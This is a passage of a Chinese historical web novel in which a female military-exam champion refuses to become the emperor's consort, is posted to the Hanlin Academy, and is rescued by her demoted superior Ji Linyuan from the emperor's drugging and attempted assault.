《是风动》
1. 游街
俗话说得好,出名要趁早。
季临渊深以为然。
混着下了早朝,他换上常服,包下醉翁楼观景最好的地段。点了几样时令小菜,给自己斟一杯陈年佳酿,临风窗台,翘首以盼今年的状元游街——不世出的女武状元,棠柳月。
他口中的这位奇才,年方二十,出生平民,却精通骑射技勇、各类冷门胄甲,且一手行书苍劲有力,最后殿试凭借一篇军事策论赢得满堂喝彩。
酒楼下已经人头攒动,都想一睹这位武状元是何许人也。而官府的人分散守在状元游街的每个节点上,维持秩序。
店小二来上菜的时候,季临渊正端着酒杯,望着楼下的人群出神。
“大人今日过来,也是为了看武状元游街吗?”
季临渊眉目间有风光流转,他轻啜了一口美酒,毫不在意小二的口误,笑意清浅:“那日殿选恰逢我休浴,所以今日才要掐点过来,一睹旷世奇才。”
“也是,”店小二也颇为感慨地探头看去,“不过这样的人看多了,我总觉得心里更难受。”
“人比人,气死人。”
目送店小二远去,季临渊认同地点点头。
有人新科及第盛宠优渥,有人鸟尽弓藏兔死狗烹。
时也,命也。
忽然,楼下人声骤然沸腾。
不远处一队人马走来,鸣锣开道,前后护送的都是皇室的御林军,浩浩荡荡。
季临渊双眼稍稍眯起,眼神越过御林军,朝着人马的最中心看去。
御赐的汗血宝马披着黄金衣,昂首阔步。而坐在它背上的,便是当朝武举状元,棠柳月。
一身绛红劲装耀眼夺目,身量纤纤,头戴簪缨,容貌明艳大气,眉宇间自带一股英气。她牵着缰绳,腰间别一把银鞘长剑,如璞玉雕琢的五官精致深邃,薄唇轻轻勾起,神态落落大方。只见她从容不迫地向周围的百姓抱拳示意,一颦一笑,引起身旁一阵又一阵山呼海啸。
“的确是个美人,”季临渊轻声赞叹,“怪不得皇兄喜欢。”
车马游行过半,渐行至醉翁楼下,酒楼掌柜早早带人,举一块空白匾额,候在门口。
“鄙人醉翁楼掌柜王步才,恭贺棠姑娘新科及第,烦请状元郎为醉翁楼题字一幅,以表皇恩浩荡。”
棠柳月轻拉缰绳,停在王步才面前,居高临下地睨了他一眼。
“王掌柜真是贵人多忘事,当初您连一间柴房都不给我,说我出身穷酸,进得了金銮殿,也得不了金銮名。如今风水轮流转,倒是麻烦您出来迎接我。”
这一番话说的一点情面都不留,但王步才是何人?走南闯北全靠一张厚脸皮,区区言语攻击,无伤大雅。
王步才拱手弯腰,脊梁骨弯的堪比大茗的折枝拱桥,语气愈加恭顺:“那日是鄙人有眼不识泰山,但求状元郎大人不计小人过,给醉翁楼几分薄面。”
季临渊在楼上安静听着,时不时从小碟里拈起花生往上一抛,张嘴接住。
醉翁楼是皇家酒楼,平日接待的不是商贾富户便是皇室子弟,除此之外便是每年前来科考的各路学子。也难怪王步才眼高于顶,以为自己也是人上人,随意断言别人的前途。
“薄面?醉翁楼的酒我都没吃过,我且试试再说给多少薄面吧。”
棠柳月翻身下马,掸了掸衣袍,单手大步流星地走进酒楼。
王步才一愣,连忙跟上:“大人大人!今日楼里还有贵客,为免二位两相冲撞,要不先让小的给您准备一处雅阁?”
“不用。”
棠柳月闻言,脚步愈发轻盈,干脆利落地拒绝后便直接上楼。
有贵客才好,越贵越好。
刚一上来,棠柳月便发现整一层是个大包间,熏香袅袅,轻纱曳地,廊腰缦回,布置得很是雅致。几处珠帘后面还有各色美人在弄箫吹曲,拨琴敲鼓,气氛拉满。
果然还是富贵人家会享受。
棠柳月一边赞叹装潢上的小巧思,一边往窗边的山水屏风走去。
王步才在后面看的冷汗直冒,追在后面喊:“大人万不可再往前走了!今日此处真的被一位贵客包场了。”
“是吗?那可就要看王掌柜怎么替我美言了,若说得好,我给醉翁楼题文一篇。”
棠柳月的笑容里满是不屑,行进途中还不忘拨开一旁垂下的花枝,目标明确。
很快,她便来到了山水屏风后面。隔着屏风,隐约可以窥见对面之人正轻摇折扇,似乎正翘首以盼。
“王掌柜,今日我同棠姑娘有缘,也算我的贵客,再多上几个好菜,添一壶佳酿来就是。”
屏风后的声音清亮疏离,像是个文人墨客。
王步才得了这样的吩咐自然喜不自胜,连声应好之后便速速退下。
不过这样一来,棠柳月就兴致缺缺了,一场大戏没了配角,当真无味。她轻轻抚摸腰间的长剑,脚步也止于屏风之后。
但很快,男人的声音又再度响起:“做戏,讲究有始有终。王步才拜高踩低,你若这样离去,就像飞鸟离开了池塘,毫无意义。”
棠柳月微微歪头,勾唇一笑,眼底有一丝被说中心事的讶异。
缓缓移步,绕过屏风,另一幅美景在眼前徐徐展开。
微风拂面,窗边一抹天水碧色无边无际。男人正在斟酒,温和从容,举手投足间书卷贵气盈满袖。薄唇衔着恰到好处的笑意,一双桃花眼深情款款。
此处远离尘嚣,外头再熙攘,传来的声音也不过寸缕。
男人示意棠柳月入座,神情如阳春三月那般和煦。
棠柳月微微一怔,却又很快回过神来,取下长剑放在一旁,坐下后便直接问道:“不知是何方贵客?今日叨扰阁下,来日棠某必登门拜访。”
“免贵姓季,季临渊,是……”
清透的酒水自壶中流出,注入白瓷杯,被移至棠柳月面前。
“阿谀奉承的小官。”季临渊笑得真诚。
……
棠柳月沉默片刻,才勉强恭维道:“季大人还年轻,将来必定前途无量。”
不咸不淡的夸赞没有激起季临渊的反感,相反他似乎很受用,身子往后靠了靠,拿起折扇遥指远处高耸的宫殿,酒香飘渺间,似一层清霜将他周身遮盖。
“棠姑娘才是将来金銮殿的红人,还望日后多提携在下。”
棠柳月莞尔,取剑起身,拱手作揖,“官场之道我不懂,只知位卑未敢忘忧国。季大人,共勉。”
珠帘碎玉碰撞发出清脆悠长的响声,季临渊展开折扇挥动,眼神跟随女孩离去的方向,意味深长。
棠柳月走了好一会,王步才姗姗来迟,垂首不敢言语。
季临渊闭眼,伸手揉着太阳穴,语调凉薄:“她不算睚眦必报之徒,歇店休整半月便可。好歹是皇上眼前的红人,总是要做做面子。”
王步才的脸上愁云惨淡,“大人,都说唯女子与小人难养也,这小女子又得势,小的是真怕……”
“她不是小女子,是不世出的武状元,”季临渊睁眼,看向王步才的眼神不带一丝温度,“真怕也不见你行事收敛。”
“醉翁楼虽是我一手创立,但如今我贬官落魄,你还是好自为之吧,哪天若得罪了旁人,可别怪我不救你。”
王步才颤颤巍巍地应了一个“是”,便灰溜溜地退下
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了。
耳根子终于清净,季临渊再次临风窗台,极目远眺,轻声慢诵。
“事定犹须待阖棺。”
游行后的第二日,棠柳月于午后申时进宫,准备受封拜官。她跪在金銮大殿,敬听册封圣旨。
但等来的不是官职品级,而是册立为后宫嫔妃。
嗓音尖细的太监宣读完圣旨,便恭敬地将明黄圣旨递到她身侧,“还请淑嫔娘娘接旨。”
棠柳月跪的笔挺,面色瞬间冷若冰霜,笼在袖中的双手紧紧握拳,指甲因为气极而深深嵌入掌心,却浑然不知。
她抬起双眼,眼神如一记淬了毒的飞镖,锐利刺向高坐其上的皇帝。
“皇上,武举是为朝廷选拔人才而非选妃。如若草民真的接下这道圣旨,不仅对不起草民多年苦练,也有损皇上圣誉。还请皇上,三思。”
美人就算冷脸,也是冰美人。
年轻的皇帝看美人多面,只觉欢喜:“朝廷之事,朕自有肱骨之臣提朕分忧。你虽是武学奇才,但终究是女子,又容貌昳丽,实在不宜抛头露面。朕是真心喜欢你,所以才给你淑嫔的位份。”
棠柳月怒极反笑,却衬得粉白的脸上霜雪乍破,娇美张扬:“所以草民就该千恩万谢吗?”
“做朕的女子,自然是无上荣宠。”
“如果女子最后的归宿都是为人妻妾,那大茗的科举、武举为何同意女子参加?岂非笑话?”
皇帝不意棠柳月言辞如此犀利,噎得他半晌说不出话。胸膛起伏几许后,他深吸一口气,拧着眉头道:“大茗建国百废待兴,太祖皇帝为此才许女子科考入仕。如今盛世太平,男女各司其职方为正道。况且如今女子入仕也不复往日人数之多,你又何必争这一时长短?”
棠柳月贝齿轻咬红唇,恨声道:“女子入仕之路较男子艰辛百倍,皇上难道不知吗?”
皇帝冷笑一声,“棠柳月,你在质问朕吗?”
可偏生此时,棠柳月还不愿住口。
“女子入仕不复往日辉煌,不都拜历任先祖对女子层层加码、考察严苛所赐?都希望女子无才庸懦,安心困囿后宅。更有甚者算计绝户、卖女求荣、逼良为娼,女子艰辛至此,还如何与男子相争?”
“放肆!”
皇帝拍案而起,怒目圆睁,一股无名业火从脚底直冲脑门。天子震怒,大殿内外皆是跪伏一片。唯有棠柳月,如一棵白杨树,倔强孤独地挺立。
其实很多年前,大茗科举的不拘男女之别,早就是废纸一张,但从未有人出来反驳。如今棠柳月蛮力撕开这层遮羞布,无疑是往皇帝脸上狠狠抽巴掌。偏生她此刻又如此冷静,更显得皇帝
心虚狂怒。
“天家威严,岂容你揣度?”
棠柳月毫不退让,神色坚定:“草民正是为了皇上名声所想,女子本就不易,草民有幸得见天颜又荣膺状元,自是要向天下女子证明皇上慧眼识珠,举贤任能。所以草民更要为皇帝为大茗鞠躬尽瘁,方不负圣上青睐。”
大殿里有死一般的沉默。
“好,好,好,”皇帝抬手指向棠柳月,点了几下,后槽牙都要咬碎了,“既然爱卿如此替朕着想,就去翰林院修书检史,好好看看过往能臣贤将是如何替君主分忧的。”
棠柳月此刻没有再反驳,而是顺从地伏下身子,举止恭敬。
“微臣领旨,谢皇上隆恩。”
离开金銮殿的时候,棠柳月听到身后小宫人窃窃私语。
“翰林院儒生气最重,怕是容不下她这样的性子。”
“主要看那位大人能不能容下她。”
“我看悬,估计日后翰林院可热闹了。”
2. 报到
棠柳月获封正八品翰林典籍的消息如巨石坠浅溪,让沉寂许久的朝堂又活泛起来。朝廷百官茶余饭后都在猜测这位御前红人到底是怎么得罪了圣上,也感慨,弃武从文,修文撰稿,竟是一个武状元的归宿。
这世道,奇了。
棠柳月却不以为意,拢上长发,戴上乌纱帽,着深青色官袍,按时按点来到翰林院报到。而接待她的,是一个着浅绿色官袍,与她年纪相仿的清秀女子。
女子带着棠柳月穿过周遭同僚或探寻或诧异的眼神,来到指定的工位,和善道:“我叫江寒星,在翰林院任正七品编修,也是你的带教老师。我负责编修史书,你有什么不懂都可以来问我。”
棠柳月轻轻“嗯”了一声,又环顾了一圈,问道:“翰林院还有其他女官吗?”
江寒星摇摇头,“没有,前些年的科举进士里只有我是女子,再后来,就是出身武举的你。”
“明白,”棠柳月点点头,“那正八品典籍需要做什么呢?”
江寒星指了指工位上层层叠叠的书籍,“典籍要负责史书图籍的管理,草拟典礼文件,修撰前朝实录。算是……比较枯燥的内容。”
随手取过一本诗书收录册,棠柳月翻阅其中内容,面色平和:“总比待在后宫舒服,四方的天,四面的墙,天下没有比那更闷的去处了。”
江寒星虽不知棠柳月为何提起后宫女子,但听她此番言语,倒觉她潇洒豁达,看对方的眼神里都多了几分欣赏。
“你愿意这样想当然是……”
“你这样怕是又要惹皇上不快了。”
低沉的声音在江寒星身后响起,接着,声音的主人,一个穿着深绿色官袍的年轻男子负手于背后,缓缓走到两个女孩子面前,面色沉沉。
男子身形瘦削,但薄瘦有力,顶着一张容长的脸,细长的眉配吊稍的眼,颇有几分邪性。肤色白净,唇红齿白,行动间香风细细。
而随着男子的出现,其他看热闹的人也低头开始认真工作。
“你就是棠柳月?”男子上下扫视了棠柳月一番,语气不善。
棠柳月秉持先礼后兵,也大约明白眼前人官阶比自己大,于是微微躬身,态度诚挚:“在下棠柳月,任翰林院典籍,请问阁下官居何处?”
江寒星在一旁轻轻咳了咳,掩嘴小声提醒棠柳月:“翰林侍读宋澈衍,从六品官,是翰林院的二把手。”
末了,她又补充一句。
“书香世家,面冷心热,却也是酸腐儒生。”
棠柳月闻言轻扬长眉,与江寒星相视一笑。
两人的窃窃私语自然没有逃过宋澈衍的耳朵,他拍了拍桌案,眉目不悦地看着棠柳月:“此前圣上开恩,不计较你顶撞之过。但你现在既入了翰林院的门,就不得如前那般行事乖张,知道吗?”
棠柳月眼观鼻,鼻观心,“是。”
宋澈衍见棠柳月还算听话,刚刚摆的架子也稍作收敛,“我带你在翰林院里走一圈,跟其他人见一见,方便日后互相配合,处理事务。”
说完他便转身往门外走去,棠柳月也机灵,朝江寒星笑了笑便快步跟上。
一路上,棠柳月都始终慢宋澈衍半步,认真听他讲述翰林院的官员分配、办公地点、内容,努力记下每一处同僚的样貌和名字,接着再被宋澈衍推出来,毫不怯场地介绍自己。
不出半日,整个翰林院的人不仅知道有个武状元来了,还深刻记住了这个人是个女子,叫棠柳月。
临近晌午,宋澈衍带棠柳月逛得差不多,便拐入廊下阴凉处,指了指远处一个屋子,说道:“那里是膳堂,专门给翰林院的人准备早午晚膳,你若是家里没有准备,可以去那里吃。”
棠柳月估摸这会子时间应该不早,但那屋子看上去有些冷清,不时有两三个厨师模样的人进出之外,少有其他人过去。
“怎么不见其他人过去?”
面对棠柳月的疑问,宋澈衍板正了一早上的脸,终于是微微皱眉。
“不好吃。”
好诚实的人,好真实的话。
而当棠柳月在膳堂吃到覆满葱姜蒜、冰冷滑腻的白切鸡时,更是后悔。她终于明白,为何她走进这里时,其他同僚都朝她投来同情的目光。
何止是不好吃,简直是难吃。
午膳草草吃了几口,棠柳月便回到自己的工位,开始工作。但应付的那几口饭,在肚子里只撑了一个时辰。
棠柳月紧紧按住咕咕叫的肚子,努力降低声音的存在。可越是这样,就越是明显。
坐在前头的江寒星回头看了棠柳月好几次,犹豫许久,还是从自己的包裹里拿出一点吃食,走到棠柳月身边。
“你吃点烙饼吧,”江寒星把用黄油纸包着的烙饼塞到棠柳月怀里,又按住她的手不许拒绝,抿嘴一笑:“我娘做多了,我吃不完,你就当帮我。”
棠柳月很是动容,她拿着烙饼,低声说了一句“谢谢”。
待江寒星回去后,棠柳月打开黄油纸,小心翼翼的大口吃饼,但求快点吃完不影响其他人办公。
而旁边办公的几位则是默契地用力翻书搬书运书,制造出来的声音很轻易便遮盖住棠柳月吃东西的响动。
“江寒星,过来。”
门口正在与其他人交谈的宋澈衍忽然出声,惊得所有人都停下手里的事情看向他。江寒星不敢怠慢,赶紧走上前。
宋澈衍低头翻看手上的文书,随意道:“我桌上有一壶刚沏好的热茶,你看谁要就给谁。”
江寒星一愣,转头跟身后的同僚面面相觑。
谁要啊?
看上去,好像就只有干巴巴吃烙饼的棠柳月需要。于是大家瞬间心领神会,纷纷摇头,江寒星便美滋滋地从宋澈衍桌上提过茶壶,送给棠柳月。
顺便,还弯腰凑到她耳边,忍俊不禁道:“侍读就是嘴硬。”
午后悠悠,屋外柳树依依,在蝉鸣声中,棠柳月一路埋头整理浩如烟海的图籍,一直到江寒星来叫她,才停下手里动作。
“怎么了?”
“今日是十五,翰林院每逢初一十五,午后都有两刻钟可随意休憩。”江寒星笑吟吟地说完,便拉着棠柳月走到外头的紫藤廊下小坐。
房前空地上有三三两两的人或在吟诗作对,或在起势练习五禽戏。就连宋澈衍也收了架子,坐在门槛上晒太阳,一片祥和。
棠柳月的眼神漫无目的地飘忽着,随口问道:“翰林院一向这么随性的吗?”
“翰林院以前不这样,后来季大人来了,就这样了。连这个休憩都是他提出来的。”
“什么季大人?”
江寒星左右看了看,挪挪身子,凑到棠柳月身边,神神秘秘道:“我早上跟你说宋侍读是翰林院的二把手,其实我们还有一个一把手,就是翰林学士季璟,季大人。”
棠柳月疑惑地“嗯”了一声,“那怎么不见他人影?”
“季大人随性不羁,而且呀,”江寒星假意用手遮住嘴,“季大人之前官居正二品中书令,是先皇一朝的宠臣,但皇上继位后他却屡遭弹劾,最后才被贬官到翰林院。”
“莫不是骄傲跋扈,为非作歹之辈?”
江寒星伸出食指在棠柳月面前晃了晃,“我听老前辈都说季大人年轻有为,文武皆通,是先皇的左膀右臂。但皇上他……”
棠柳月见江寒星抬起手掌往自己脖子上锯了几下,心下便了然,“一朝天子一朝臣。”
“对的对的,”江寒星点点头,“不
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过皇上大概也知道季大人委屈,所以自季大人调任翰林学士后,对他倒宽容了许多,也很少过问他的公务。”
“不过,这就苦了我们宋侍读了。”
江寒星说着看向宋澈衍,轻叹了一口气:“贬官后的季大人说好听点是放荡不羁,说难听点,就是放浪形骸,所以很多时候都是宋侍读出面维持翰林院的运转。”
棠柳月听完没有说话,只是脸上有淡淡的不屑。
打一棍子给个甜枣,有好脸色才怪。
聊完季璟之后,两人短暂安静了一会。但很快,江寒星又挑起了话头。
“柳月,你被安排到翰林院,真的不失落吗?你可是武状元啊。”
面对江寒星的发问,棠柳月并没有过多犹豫,而是摇头回答道:“有失亦有得,我也只是两害相权取其轻。”
“可你的前途,眼见真是一片大好啊。”
棠柳月轻笑一声,转头看向江寒星,语气调侃:“你愿意入宫吗?”
江寒星一时语塞,没想到会被问到这个问题,往地上连呸好几下:“寒窗苦读十数载,才从族中长老的阻拦下进入朝堂,我才不要回去。”
“是啊,”棠柳月抬手架在围栏上,慨然看向远方:“所以我宁可做个小官,再苦再难,终究有条路。”
“可是……”江寒星的声音越来越低下去,神色也如霜打的茄子一般蔫了下去,“当年跟我同一届的进士大多去了六部,混得风生水起,只有我,没钱送礼又是女子,被安排到这里。”
“虽然翰林院也挺好,但跟我当时设想的为官之路大相径庭。甚至有时候我会想会不会听话嫁人,才是好的?”
棠柳月伸手揽住江寒星的肩膀,二人的肩头轻轻晃着,“欲为圣明除弊事,肯将衰朽惜残年。历朝历代都有壮志难酬的能人志士,所以不必怀疑自己,做好本职工作,无愧于心,也是为官正道。”
风过林响,树影婆娑。
江寒星靠在棠柳月肩头,怅然地抹抹眼角。
院子里有人不知从哪掏出来一根木棍,毫无章法地在空中划来划去。棠柳月看得好笑,便起身拨弄一旁的柳树,似乎在寻找什么。
江寒星有些疑惑,“你找什么呢?”
棠柳月看的认真,挑挑拣拣里折下一根半人高,两指粗细的枝条。细心剔掉上面附着的花叶后,她举着枝条在江寒星面前晃了晃。
“你看这根枝条像什么?”
江寒星歪头,不明白。
“像一把剑。”
利落地翻过走廊围杆,棠柳月原本清妩的脸上露出几分傲然之气。只见她以长枝为剑,伴着和风飘絮,直接在院中跳起一段剑舞。
衣袖生风,棠柳月脚步轻盈,旋身挥舞长枝,翩若惊鸿,婉若游龙,仪态万千。手中长枝已然化作一把出鞘宝剑,流水行云,划破天地长空。
风又起,柳絮漫天时,在众人的喝彩声中,剑舞来到尾声。
棠柳月握紧长枝,最后一个动作蓄满力气,后翻接一个旋身后,直直向斜上方刺去!
但长枝却在刺出,碰到折扇的一瞬间,紧急收住力道,不再往前。
周遭的喝彩声被一阵阵倒吸凉气取代,一片死寂中,棠柳月惊出一身冷汗,她不敢想如果自己没有收住力道,这把长枝此刻估计已经贯穿了眼前人的头颅。
因为,她真的不知道自己身后何时多了一个人。
那人用折扇掩面,见棠柳月停下动作后,自己才缓缓移开折扇,露出一张桃花面。
“季临渊?”
棠柳月看着这张熟悉的脸孔,惊讶出声。
季临渊眉眼如画,笑意舒朗。
“在下姓季,单名璟,字临渊,官居正六品翰林学士。”
3. 传召
书房里异常安静,季临渊坐在太师椅上,穿着与宋澈衍一样色系的官袍,端一杯清茶,饶有兴味地打量棠柳月。
虽算不上恶意,但也让后者很不舒服。
棠柳月原本垂首站在桌前,但许久没听见季临渊出声,于是只得探寻地抬眸:“大人,此前在醉翁楼是属下有眼不识泰山,方才又是属下莽撞,差点伤了大人。但凭大人责罚,属下绝无怨言。”
季临渊就着紫砂茶盏轻啜一口,“无妨,我不还好好坐在这吗?”
棠柳月闻言,嘴角微微抽动。原本名声就不好,若是入职第一天还把顶头上司打伤,那官场生涯基本可以宣告结束了。
季临渊忽略棠柳月的尴尬,放下茶盏,翘起二郎腿,随意道:“听说你拒绝给皇上当妃子?”
棠柳月柳眉微扬,讶异于季临渊的消息灵通。毕竟应该没有皇帝会愿意自己被拒绝的消息,流传得人尽皆知吧。
“……圣上私隐,季大人如何能揣测?”
季临渊身子微微前倾,伸手取过桌上两个文玩核桃开始把玩,语气悠闲:“放心,连累不到你,是皇上自己告诉我的,你都不知道皇上有多伤心。”
“皇上待季大人倒是亲厚。”
话一出口,棠柳月自觉失言。这样的场合下,这句话怎么听都很是嘲讽。
“大人……”
季临渊沉默了一会,而后便一笔带过棠柳月的冒犯,扬眉一笑:“你说的很对。只是我想知道,你为何不愿做天子宠妃?”
“做天子宠妃是什么很好的选择吗?”
……
棠柳月最不喜欢的就是自证,所以当她以极快的速度把问题抛回去之时,季临渊显然有些始料未及。
她就那样站在他面前,姣好的容颜上有浅浅的嘲讽。
“是在下小瞧棠姑娘了,失敬。”季临渊讪笑道。
“不怪季大人这样想,世道如此,人人都觉得女子合该相夫教子,安分守己。若是夫家争气,那更是天大的福气,更需感恩戴德。”
“可惜,”棠柳月话锋一转,“我没有亲爹,是阿娘一手把我拉扯大。所以我并不觉得男子有多重要,也不觉得他们的情谊,有多重要。”
“说得好,”季临渊赞许地点点头,但语气又浮现些许愤懑,“只可惜,皇上也太狠心,八品典籍,实在欺负人。”
棠柳月无所谓地耸耸肩,“还好,大人不也从二品大员沦落至此吗?”
两颗文玩核桃不知怎的,突然落地。
“说的也是,”季临渊从牙缝里挤出几个字,笑的勉强:“你暂且下去吧,日后没事少在我面前晃。”
棠柳月低头一笑,躬身行礼离开。
只是刚送走一个瘟神,又来一个瘟神。
棠柳月刚离开,宋澈衍便敲门走进来。进来的时候手里还抱了一大叠卷宗。
季临渊目之所及,只觉头大。掩耳盗铃般遮住眼睛,很是可怜:“阿澈,我今日有点头痛,可否过两日再看?”
“上个月你就说过两天看,结果你今天才来。”
宋澈衍将卷宗重重放在桌上,伸手拿开季临渊盖在眼睛上的手,冷脸道:“三日内必须给我看完再走,否则我这个月又不能休沐了。”
季临渊自知理亏,不敢与宋澈衍对视。索性挣开手,拿起手边折扇,飞快地扇了几下,并认命地点点头。
“侍读大人是我的左膀右臂,我又怎么能给我的阿澈添一丝烦恼呢?”
宋澈衍向来知道季临渊嘴上没个正经,见怪不怪。把该交代的东西交代好后,准备出去之时,还不忘回头嘱咐对方一定要在这几天处理完。
正所谓,上位者不靠谱,吃苦的就是下面的人啊。
宋澈衍是这样,棠柳月也是这样。
在翰林院工作一段时间后,棠柳月便凭借超强的理解和处理能力,独立完成了许多事情。而她这股拼劲,也感染了其他同僚。
一时间众人忽然有了奔头——每天赌棠柳月要夜直到几时。
但有一项工作,棠柳月一直没有办法按时推进。
就是她每日放衙之前,给季临渊送去的文书日报,总是没办法在第二日上午收到批示。更多的时候,是下午去送日报,还能看见桌上放着的前日日报。
又是一个放衙之时,日暮西沉,余晖渺渺,白日喧闹的翰林院也因为人群的离开而显得孤寂寥落。
这样愈发僻静的时刻里,季临渊在书房里逗弄笼中的画眉鸟,而书桌上,文书成堆。按他的话说,就是:“文书是批不完的,有空再看。”
但今日,他并没有等来熟悉的身影。四下打听了一下,才得知棠柳月被皇上接走。
旁人不知道隐情,但季临渊可太知道了。他踱步至书桌前,看着文书上娟秀的字迹,突然有些担心。
棠柳月坐软轿到芙蓉台之时,天已经完全黑了。空气滞闷,天际深处有紫红闪电翻涌,是下大雨的前兆。
靠着前面小太监和灯笼里蜡烛微弱的光,她小心翼翼地走上每一个台阶。
芙蓉台之上,有一个小屋,装饰得很是雅致。屋内灯火明亮,透过窗上的宣纸可以看到里面是正在自斟自饮的皇帝。
小太监把棠柳月带到门前后,便转身恭敬道:“棠大人,皇上在里面等您,您进去就是。”
说完,小太监就躬身退下高台,快步走下台阶。
小太监走后,那唯一可以用来傍身照明的灯笼也随之远去。现在唯一可以看见,可以靠近的,就是这座小屋,和里面的男人。
手轻轻搭在门上,棠柳月觉得有些心慌,脚下也踌躇不前。但皇命不可违,挣扎片刻后,她还是推开房门,走了进去。
门发出吱呀的声响,皇帝也随之抬头,看到棠柳月的瞬间,眼神一亮。
只见皇帝穿着明黄长衫,偃月冠将头发束起,醉酒后白净脸庞泛起酡红。他一手持酒,一手撑着摇摇欲坠的头,直勾勾盯着棠柳月。虽算不上俊美非凡,但多年养尊处优、天家优容,再加上灯下美人艳三分,所以也可称一句温润隽永。
只可惜之前的印象实在不好,以至于棠柳月对皇帝这副皮囊充满了生理性厌恶。一进屋便是冲鼻的酒味,她嫌恶地皱皱眉,却还是恭敬行礼,“皇上万安。”
皇帝眼见是喝醉了,明亮的眼神撑不过三秒就开始涣散,朝棠柳月招招手,“你来了,坐朕旁边吧。”
倒也是不用。
棠柳月拿捏着距离,近了,酒气冲人;远了,不合圣意。最后,她在距离皇帝一臂远的位子上坐下。
皇帝见状呵呵笑了几声,“怎么坐的这么远?”
棠柳月只安静一笑,微微垂首,温文娴静,柔美和顺。纤长的睫毛轻微抖动,似蝴蝶振翅,留下些微阴影。拢起的长发下是修长秀美的颈项以及雪白无暇的皮肤。
可惜这样的美人,半个眼神都不给皇帝,“皇上天子威严,微臣不敢靠近。”
皇帝盯着棠柳月,咽了咽口水,晃晃悠悠起身,拿起桌上一个空杯子放到棠柳月面前,又提起桌上另一壶酒,走到她的身侧。
“你啊……”殷红的酒从高出落下,稳稳落进酒杯,皇帝语调迷蒙:“朕知道你最近一直夜直,但其实翰林院就是一个闲差,何必那么认真呢?”
“不过爱卿如果真的这么倾心公务,也可以来朕的身边不是吗?”
避嫌地起身,棠柳月端起满的几乎要溢出来的酒杯,后撤一步,向皇帝躬身敬酒:“多谢皇上关怀,是微臣办事不力,日后微臣一定注意。”
“既然这样,爱卿就喝了这杯酒,跟朕表个忠心。”
棠柳月犹豫了一会,却还是选择仰头一口喝尽。但酒一入口,她顿感不妙。眼前渐渐变得模糊,连带着动作都迟缓了几分。
皇帝此时深深注视了棠柳月好一会,最后把酒壶重重一放,直接一把抓住棠柳月的手臂,猛地将她拉近!
棠柳月脚下不稳,整个人跌入皇帝的怀抱,连带着那杯酒,也完全打翻倾
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倒,打湿二人胸前的衣裳,酒香四溢。
“你究竟要什么?!”
窗外骤然电闪雷鸣,风雨大作。
皇帝一手紧紧环住棠柳月的后腰,一手捏住她的下颔,方才还迷蒙的双眼此刻已然变得十分凶狠。他几乎是贴着棠柳月的唇角,一字一句道:“做朕的女人,就那么让你为难吗?”
美酒入口,但自口中渡出的热气却是恶臭无比。棠柳月双手死死撑在皇帝胸前,竭力扭过头躲避他的贴近,艰难开口:“如果皇上认为强人所难是乐趣,那微臣不愿奉陪,但求一死。”
皇帝似是听见什么笑话,将头埋在棠柳月颈侧,痴痴笑了起来。
敏感的脖颈被人近距离贴着,背后的手臂越箍越紧,棠柳月只感觉背后的冷汗冒了一层又一层,无比恶心。
一股巨大的杀意自心中起,手慢慢摸到耳后,一根银针自发中被捻出。
皇帝丝毫没有顾及眼前人此时是什么情状,甚至开始推棠柳月往后面的床铺走去,急切无比:“朕不让你死,朕要你活着,做朕的女人。今夜、今夜就做朕的女人好不好?”
棠柳月面色潮红地躺在床上,娇艳欲滴。这让压在她身上的皇帝看的眼馋心热,直接低头开始解她的衣裳。
“你真美啊……”
皇帝四肢并用缠住棠柳月,几乎要把她揉进自己身体里。
又是一个惊雷闪过,照亮那根即将刺入他后脑的银针。
“砰!”
门突然被暴力破开,暴雨如注,狂风大作,不管不顾地冲进小屋,吹散满室燥热。
一个欣长的身影撑着伞自门外走进来,经行之处,烛火皆灭。
屋里屋外,漆黑一片。
棠柳月在门被破开的瞬间收回手,努力撑开眼皮分辨来人。
最后借着窗外忽明忽暗的闪电,才看清,来人是季临渊,
至于身上的皇帝,也被这巨声吓得醒了三分酒意,回头看去。只不过还没等看清,季临渊便狠狠给了他一掌,瞬间晕厥。
提着皇帝扔到地上,死沉的身躯落地,发出沉闷的声音。
紧接着,季临渊给棠柳月合上身前松散的衣裳,小心翼翼把她抱起。拿起地上的纸伞,缓缓走出门外。
小屋外的世界大雨滂沱,天地间皆是水雾。
季临渊抱棠柳月坐上马车,又探头跟芙蓉台的侍卫低声交代了几句,便吩咐马夫驱车前往府邸。
一路上,风急雨盛,但车轮滚滚,平稳前行。
回到府邸,季临渊把棠柳月抱下马车,带到府上一间干净整洁的内院小屋休整。在廊下等婢女给棠柳月换上干净的寝衣后,他才重新走进小屋。
经历过一夜惊心动魄的棠柳月,此时已经沉沉睡去。烛火幽微之下,她的眉间还有抚不平的慌张,面色苍白。侧身蜷缩着,睡梦里还会时不时抽动身子。
季临渊站在床边,沉沉叹了一口气。走上前,俯身轻柔地为她掖上被角。
但当目光落在棠柳月后颈时,他忽然停住了动作。
那里,有一个小小的纹身,一半在外,一半隐匿在领口里。若是穿上外衣,根本发现不了这个纹身。
轻轻掀开衣领,一朵小巧精致的银色九瓣花朵纹身,映入眼帘。
一股熟悉之感自心头涌起。仿佛,在哪里见过。
思索片刻后,季临渊悚然一惊,慌忙站起身子后退了好几步。
这个花纹,是先朝时期,南方势力庞大的浮花神教的教派图腾。而这个教派,大部分被朝廷招安,金盆洗手,归顺朝廷。最后一部分意图刺杀先皇,已经被尽数剿灭。
自那以后,浮花神教土崩瓦解,不复存焉。
如果是这样,那棠柳月身上这个……
季临渊不敢再想下去,转身快步离开房间。
随着房门被紧紧关上,屋子里又恢复谧静。不知从哪吹来一阵阴风,把本就微弱的烛火彻底熄灭。
床上,棠柳月慢慢睁开了眼。
4.出府
棠柳月是在次日午后醒来的。
昨晚喝下的那杯酒下了十足十的迷药,幸亏棠柳月身体底子好才勉强撑住。但药性凶猛,她醒来后还是唇舌焦痛,四肢百骸酸胀异常。
缓缓起身下床,青丝散下,棠柳月只着素色寝衣,走到桌边给自己倒了一杯水。扶着桌子坐下,她一边喝水一边四处打量。
房间倒是布置得干净整洁,但是门窗紧闭,透过纸窗投影,可以看到外面有人把守。
这是被……软禁了?
棠柳月心下一沉,握着杯子的手慢慢收紧。
吱呀——
房门忽然被推开,两个衣着一粉一蓝,侍女打扮的年轻女子,捧着衣服和吃食走了进来。其中粉色裙装的女子捧的衣服是棠柳月的朝服和几件家常长裙。
